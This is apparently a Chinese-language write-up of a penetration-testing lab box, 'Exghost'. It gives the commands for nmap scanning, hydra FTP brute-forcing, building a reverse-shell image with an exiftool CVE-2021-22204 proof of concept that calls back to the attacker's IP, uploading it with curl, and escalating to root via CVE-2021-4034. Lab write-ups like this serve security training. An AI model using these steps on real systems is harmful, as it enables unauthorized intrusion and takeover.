Exghost ftp爆破 curl上传

简介

point 20

Sybaris

Difficulty Easy

rated by community HARD

实验环境

攻击者 Kali 192.168.45.197

受害者 IP 192.168.171.183  Linux

1. 信息收集

收集受害者服务详情

nmap -sV -A 192.168.171.183

20/tcp closed ftp-data
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.41

ftp尝试用anonymous登录 无效

尝试80端口服务

尝试gobuster爆破

访问 同样是Forbidden

2. 漏洞挖掘与利用

没办法了

尝试爆破ftp

hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt 192.168.171.183 ftp

ok 爆破出来一组

登录ftp

发现是一个抓包结果文件

找到了exiftool版本

找到了一个上传页面 和已经上传的文件

经过google 找到exiftool的版本POC

https://github.com/AssassinUKG/CVE-2021-22204?tab=readme-ov-file

运行POC 生成反弹shell 更新一个现有图片

bash CVE-2021-22204.sh "reverseme 192.168.45.197 4444" image.jpg

kali先监听4444端口

上传到exiftest.php

模仿上图的名字

curl -F myFile=@image.jpg http://192.168.171.183/exiftest.php

直接拿到shell

3. 权限提升

在linpeas中

sudo version 1.8.31

POC在这

https://github.com/joeammond/CVE-2021-4034

运行直接提权成功